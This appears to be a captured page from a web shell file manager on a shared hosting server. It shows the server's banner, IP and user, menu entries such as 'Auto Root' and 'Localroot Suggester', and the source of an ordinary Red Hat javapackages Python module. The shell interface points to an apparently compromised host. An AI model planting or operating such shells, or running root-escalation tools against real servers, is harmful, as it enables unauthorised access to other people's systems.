Linux sea-business-23.hostwindsdns.com 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
LiteSpeed
Server IP : 104.168.155.189 & Your IP : 216.73.217.84
Domains :
Cant Read [ /etc/named.conf ]
User : zvmcccat
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
python3.6 /
site-packages /
javapackages /
cache /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2024-02-24 08:44
__init__.py
0
B
-rw-r--r--
2018-08-06 15:09
cache.py
3.57
KB
-rw-r--r--
2018-08-06 15:09
metadata.py
3.67
KB
-rw-r--r--
2018-08-06 15:09
osgi.py
3.91
KB
-rw-r--r--
2018-08-06 15:09
Save
Rename
# # Copyright (c) 2014, Red Hat, Inc. # # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the # distribution. # 3. Neither the name of the Red Hat nor the names of its # contributors may be used to endorse or promote products derived # from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # # Authors: Michal Srb <msrb@redhat.com> import javapackages.common.config as config from javapackages.metadata.metadata import Metadata, MetadataLoadingException from javapackages.cache.cache import Cache from copy import deepcopy class MetadataCache(Cache): def __init__(self, rpmconf): super(MetadataCache, self).__init__(rpmconf) self._config_name = config.metadata_cache_f self._cache = self._read_cache() if self._cache is None: self._cache = self._process_buildroot() self._write_cache(self._cache) def _process_buildroot(self): # "path: Metadata" mapping cache = {} metadata_paths = self._find_paths() for path in metadata_paths: try: metadata = Metadata.create_from_file(path) if metadata: cache.update({path: metadata}) except MetadataLoadingException: continue return cache def _check_path(self, path): # TODO if "/usr/share/maven-metadata/" in path and path.endswith(".xml"): return True return False def get_artifact_for_path(self, path, can_be_dir=False): for metadata in self._cache.values(): artifact = metadata.get_artifact_for_path(path, can_be_dir=can_be_dir) if artifact: return artifact return None def get_metadata_for_path(self, path): try: return self._cache[path].copy() except KeyError: pass return None def get_provided_artifacts(self): artifacts = [] for metadata in self._cache.values(): artifacts.extend(deepcopy(metadata.artifacts)) return artifacts def get_skipped_artifacts(self): artifacts = [] for metadata in self._cache.values(): artifacts.extend(deepcopy(metadata.skippedArtifacts)) return artifacts def get_provided_osgi(self): bundles = [] for metadata in self._cache.values(): bundles += metadata.get_osgi_provides() return bundles